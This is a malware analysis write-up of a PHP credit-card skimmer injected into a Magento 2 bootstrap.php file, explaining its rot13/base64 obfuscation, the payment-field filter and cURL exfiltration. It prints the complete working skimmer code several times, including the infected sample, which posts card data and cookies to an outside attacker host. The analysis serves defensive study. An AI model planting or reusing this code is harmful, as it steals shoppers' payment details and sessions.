BREAKDOWN: Magento 2 PHP Skimmer - $dataoo
Outline
This PHP skimmer was spotted last year (2020) and has since been found on multiple Magento 2 websites. The skimmer’s name comes from the $dataoo variable it uses, but originally I was calling it “base64 rot” based on the skimmer using the base64_decode function, but obfuscated through segmented rot13 encoded strings.
PHP Skimmer Code Breakdown⌗
I will beautify the skimmer’s code so that we can more easily breakdown how it works. A copy of the original formatting can be found in the sample at the bottom of this post.
$n74756b5d = implode("_", array("s" . "tr", implode("", array('r', 'o', 't', '', '', '1', '3'))));
$f451099eb = $n74756b5d('o' . 'n' . 'f' . 'r6' . '4_ra' . 'pb' . 'q' . 'r');
$jd78034e7 = $n74756b5d('on' . 'fr' . '6' . '4_qr' . 'pb' . 'qr');
$rd22a4bbd = $n74756b5d('f' . 're' . 'vn' . 'yvm' . 'r');
$t1393d1ff = $n74756b5d('ce' . 'rt' . '_z' . 'n' . 'g' . 'pu');
$dataoo = @file_get_contents('php://input');
if (!empty($dataoo)) $dataoo = json_decode($dataoo, true);
else $dataoo = array();
if (is_array($dataoo)) $_REQUEST = array_merge($_REQUEST, $dataoo);
if ($t1393d1ff("/" . $jd78034e7('eWVhcnx' . 'maXJzdG5hbWV' . '8bG9naW58' . 'Y3ZjMnxjY198ZXh' . 'waXJ5fGR1bW' . '15fG1vbnRofG' . 'N2dnxjYX' . 'JkX25' . '1bWJlcnx' . 'zaGlwc' . 'GluZ3x1c' . '2VybmFtZXx' . 'zZWN1cm' . 'V0cmFkaW5nfG' . 'NjX251bW' . 'JlcnxwYXltZW50fG' . 'JpbGxpbmc=') . "/i", $rd22a4bbd($_REQUEST)))
{
$jd88fc6ed = curl_init();
curl_setopt($jd88fc6ed, CURLOPT_URL, trim($jd78034e7('aHR0c' . 'DovL2Jh' . 'cmR2Z' . 'W4uY2' . '9tL3' . 'Rlc3' . 'RTZX' . 'J2Z' . 'XIucGhw')));
curl_setopt($jd88fc6ed, CURLOPT_POST, True);
curl_setopt($jd88fc6ed, CURLOPT_POSTFIELDS, "ver" . "sio" . "n=1" . "&en" . "co" . "de=" . $f451099eb($rd22a4bbd($_REQUEST) . "--" . $rd22a4bbd($_COOKIE)) . "&h" . "ost=" . $_SERVER["HTTP_HOST"]);
curl_setopt($jd88fc6ed, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($jd88fc6ed, CURLOPT_CONNECTTIMEOUT, 2);
curl_setopt($jd88fc6ed, CURLOPT_RETURNTRANSFER, True);
curl_setopt($jd88fc6ed, CURLOPT_TIMEOUT, 5);
curl_setopt($jd88fc6ed, CURLOPT_SSL_VERIFYPEER, 0);
$g7f94dd41 = @curl_exec($jd88fc6ed);
curl_close($jd88fc6ed);
}
Obfuscating Sketchy PHP Functions⌗
$n74756b5d = implode("_", array("s" . "tr", implode("", array('r', 'o', 't', '', '', '1', '3'))));
$f451099eb = $n74756b5d('o' . 'n' . 'f' . 'r6' . '4_ra' . 'pb' . 'q' . 'r');
$jd78034e7 = $n74756b5d('on' . 'fr' . '6' . '4_qr' . 'pb' . 'qr');
$rd22a4bbd = $n74756b5d('f' . 're' . 'vn' . 'yvm' . 'r');
$t1393d1ff = $n74756b5d('ce' . 'rt' . '_z' . 'n' . 'g' . 'pu');
The first five lines are used to obfuscate and store the PHP functions that are the most likely to get flagged by server side malware scanners.
These functions are
-str_rot13
-base64_encode
-base64_decode
-serialize
-preg_match
$n74756b5d = implode("_", array("s" . "tr", implode("", array('r', 'o', 't', '', '', '1', '3'))));
//$n74756b5d = str_rot13
The first line obfuscates the function str_rot13 through segmentation and shuffle permutation of the _ character through the use of implode and arrays.
The rest of the PHP functions are obfuscated using segmentation and str_rot13 - rot13 is a simple letter substitution cipher that replaces a letter with the 13th letter after it in the alphabet, so essentially a variant of the ancient Caesar cipher.
How to manually deobfuscate it:
- remove the ’ . ‘ that is used to split up the PHP function names
- apply rot13 cipher to shift the alphabet letters to their correct position and give us the plaintext.
You can see this in action below in the code comments:
$f451099eb = $n74756b5d('o' . 'n' . 'f' . 'r6' . '4_ra' . 'pb' . 'q' . 'r');
//1 $f451099eb = $n74756b5d('onfr64_rapbqr');
//2 $f451099eb = base64_encode
$jd78034e7 = $n74756b5d('on' . 'fr' . '6' . '4_qr' . 'pb' . 'qr');
//1 $jd78034e7 = $n74756b5d('onfr64_qrpbqr');
//2 $jd78034e7 = base64_decode
$rd22a4bbd = $n74756b5d('f' . 're' . 'vn' . 'yvm' . 'r');
//1 $rd22a4bbd = $n74756b5d('frevnyvmr');
//2 $rd22a4bbd = serialize
$t1393d1ff = $n74756b5d('ce' . 'rt' . '_z' . 'n' . 'g' . 'pu');
//1 $t1393d1ff = $n74756b5d('cert_zngpu');
//2 $t1393d1ff = preg_match
How The Skimmer Extracts Payment Data From Requests⌗
The next lines contain the actual skimmer portion of the injected code.
The skimmer uses file_get_contents(‘php://input’) which is an alternative method for capturing incoming POST requests instead of the more common $_POST which is found in other PHP skimmers.
It then creates an array of the captured POST data:
$dataoo = @file_get_contents('php://input');
if (!empty($dataoo)) $dataoo = json_decode($dataoo, true);
else $dataoo = array();
if (is_array($dataoo)) $_REQUEST = array_merge($_REQUEST, $dataoo);
The above code just blindly captures incoming POST requests, but the attacker only wants the payment data so they use the next line of code to filter out the unwanted POST data.
This is done using the function preg_match and the specific field names from the payment form like card_number, cvv, etc.
Obviously it is very suspicious to use those payment field names in the skimmer code, so the field names are obfuscated using segmentation and base64 encoding:
if ($t1393d1ff("/" . $jd78034e7('eWVhcnx' . 'maXJzdG5hbWV' . '8bG9naW58' . 'Y3ZjMnxjY198ZXh' . 'waXJ5fGR1bW' . '15fG1vbnRofG' . 'N2dnxjYX' . 'JkX25' . '1bWJlcnx' . 'zaGlwc' . 'GluZ3x1c' . '2VybmFtZXx' . 'zZWN1cm' . 'V0cmFkaW5nfG' . 'NjX251bW' . 'JlcnxwYXltZW50fG' . 'JpbGxpbmc=') . "/i", $rd22a4bbd($_REQUEST)))
/*
if (preg_match("/year|firstname|login|cvc2|cc_|expiry|dummy|month|cvv|card_number|shipping|username|securetrading|cc_number|payment|billing/i", serialize($_REQUEST))
*/
If these payment data related fields are matched in the captured POST data - then the array is prepped for exfiltration using the serialize function.
Exfiltration via cURL⌗
Now that the desired payment data has been matched and serialized - the skimmer can exiltrate the stolen data back to the attacker.
This is done using cURL which allows the stolen data to be exfiltrated via a POST request to a web server that is assumed to be under the control of the attacker.
{
$jd88fc6ed = curl_init();
curl_setopt($jd88fc6ed, CURLOPT_URL, trim($jd78034e7('aHR0c' . 'DovL2Jh' . 'cmR2Z' . 'W4uY2' . '9tL3' . 'Rlc3' . 'RTZX' . 'J2Z' . 'XIucGhw')));
//curl_setopt($jd88fc6ed, CURLOPT_URL, 'http://bardven.com/testServer.php')));
curl_setopt($jd88fc6ed, CURLOPT_POST, True);
curl_setopt($jd88fc6ed, CURLOPT_POSTFIELDS, "ver" . "sio" . "n=1" . "&en" . "co" . "de=" . $f451099eb($rd22a4bbd($_REQUEST) . "--" . $rd22a4bbd($_COOKIE)) . "&h" . "ost=" . $_SERVER["HTTP_HOST"]);
//version=1&encode=[base64_encoded payment data]--[stolen cookie data]&host=[server hostname]
curl_setopt($jd88fc6ed, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($jd88fc6ed, CURLOPT_CONNECTTIMEOUT, 2);
curl_setopt($jd88fc6ed, CURLOPT_RETURNTRANSFER, True);
curl_setopt($jd88fc6ed, CURLOPT_TIMEOUT, 5);
curl_setopt($jd88fc6ed, CURLOPT_SSL_VERIFYPEER, 0);
$g7f94dd41 = @curl_exec($jd88fc6ed);
curl_close($jd88fc6ed);
}
Most of these code lines are just setting up the cURL configuration, but you can see that the attacker has again used segmentation and base64 encoding to obfuscate the exfiltration URL:
hxxp://bardven[.]com/testServer.php
The final obfuscation occurs with the attacker using the variable f451099eb - which contains the function base64_encode - to obfuscate the stolen data while it is in transit to the exfiltration URL.
That’s it! 🙂
Sample⌗
Here is the injected app/bootstrap.php file as it was found on the infected Magento 2 website:
<?php
/**
* Copyright © Magento, Inc. All rights reserved.
* See COPYING.txt for license details.
*/
/**
* Environment initialization
*/
error_reporting(E_ALL);
if (in_array('phar', \stream_get_wrappers())) {
stream_wrapper_unregister('phar');
}
#ini_set('display_errors', 1);
/* PHP version validation */
if (!defined('PHP_VERSION_ID') || PHP_VERSION_ID < 70103) {
if (PHP_SAPI == 'cli') {
echo 'Magento supports PHP 7.1.3 or later. ' .
'Please read https://devdocs.magento.com/guides/v2.3/install-gde/system-requirements-tech.html';
} else {
echo <<<HTML
<div style="font:12px/1.35em arial, helvetica, sans-serif;">
<p>Magento supports PHP 7.1.3 or later. Please read
<a target="_blank" href="https://devdocs.magento.com/guides/v2.3/install-gde/system-requirements-tech.html">
Magento System Requirements</a>.
</div>
HTML;
}
exit(1);
}
require_once __DIR__ . '/autoload.php';
// Sets default autoload mappings, may be overridden in Bootstrap::create
\Magento\Framework\App\Bootstrap::populateAutoloader(BP, []);
/* Custom umask value may be provided in optional mage_umask file in root */
$umaskFile = BP . '/magento_umask';
$mask = file_exists($umaskFile) ? octdec(file_get_contents($umaskFile)) : 002;
umask($mask);
$n74756b5d=implode("_",array("s"."tr",implode("",array('r','o','t','','','1','3'))));$f451099eb=$n74756b5d('o'.'n'.'f'.'r6'.'4_ra'.'pb'.'q'.'r');$jd78034e7=$n74756b5d('on'.'fr'.'6'.'4_qr'.'pb'.'qr');$rd22a4bbd=$n74756b5d('f'.'re'.'vn'.'yvm'.'r');$t1393d1ff=$n74756b5d('ce'.'rt'.'_z'.'n'.'g'.'pu'); $dataoo = @file_get_contents('php://input');if(!empty($dataoo))$dataoo = json_decode($dataoo, true); else $dataoo = array(); if (is_array($dataoo))$_REQUEST=array_merge($_REQUEST, $dataoo); if($t1393d1ff("/".$jd78034e7('eWVhcnx'.'maXJzdG5hbWV'.'8bG9naW58'.'Y3ZjMnxjY198ZXh'.'waXJ5fGR1bW'.'15fG1vbnRofG'.'N2dnxjYX'.'JkX25'.'1bWJlcnx'.'zaGlwc'.'GluZ3x1c'.'2VybmFtZXx'.'zZWN1cm'.'V0cmFkaW5nfG'.'NjX251bW'.'JlcnxwYXltZW50fG'.'JpbGxpbmc=')."/i",$rd22a4bbd($_REQUEST))){$jd88fc6ed=curl_init();curl_setopt($jd88fc6ed,CURLOPT_URL,trim($jd78034e7('aHR0c'.'DovL2Jh'.'cmR2Z'.'W4uY2'.'9tL3'.'Rlc3'.'RTZX'.'J2Z'.'XIucGhw')));curl_setopt($jd88fc6ed,CURLOPT_POST,True);curl_setopt($jd88fc6ed,CURLOPT_POSTFIELDS,"ver"."sio"."n=1"."&en"."co"."de=".$f451099eb($rd22a4bbd($_REQUEST)."--".$rd22a4bbd($_COOKIE))."&h"."ost=".$_SERVER["HTTP_HOST"]);curl_setopt($jd88fc6ed,CURLOPT_SSL_VERIFYHOST,0);curl_setopt($jd88fc6ed,CURLOPT_CONNECTTIMEOUT,2);curl_setopt($jd88fc6ed,CURLOPT_RETURNTRANSFER,True);curl_setopt($jd88fc6ed,CURLOPT_TIMEOUT,5);curl_setopt($jd88fc6ed,CURLOPT_SSL_VERIFYPEER,0);$g7f94dd41=@curl_exec($jd88fc6ed);curl_close($jd88fc6ed);}
if (empty($_SERVER['ENABLE_IIS_REWRITES']) || ($_SERVER['ENABLE_IIS_REWRITES'] != 1)) {
/*
* Unset headers used by IIS URL rewrites.
*/
unset($_SERVER['HTTP_X_REWRITE_URL']);
unset($_SERVER['HTTP_X_ORIGINAL_URL']);
unset($_SERVER['IIS_WasUrlRewritten']);
unset($_SERVER['UNENCODED_URL']);
unset($_SERVER['ORIG_PATH_INFO']);
}
if (
(!empty($_SERVER['MAGE_PROFILER']) || file_exists(BP . '/var/profiler.flag'))
&& isset($_SERVER['HTTP_ACCEPT'])
&& strpos($_SERVER['HTTP_ACCEPT'], 'text/html') !== false
) {
$profilerConfig = isset($_SERVER['MAGE_PROFILER']) && strlen($_SERVER['MAGE_PROFILER'])
? $_SERVER['MAGE_PROFILER']
: trim(file_get_contents(BP . '/var/profiler.flag'));
if ($profilerConfig) {
$profilerConfig = json_decode($profilerConfig, true) ?: $profilerConfig;
}
Magento\Framework\Profiler::applyConfig(
$profilerConfig,
BP,
!empty($_SERVER['HTTP_X_REQUESTED_WITH']) && $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest'
);
}
date_default_timezone_set('UTC');
/* For data consistency between displaying (printing) and serialization a float number */
ini_set('precision', 14);
ini_set('serialize_precision', 14);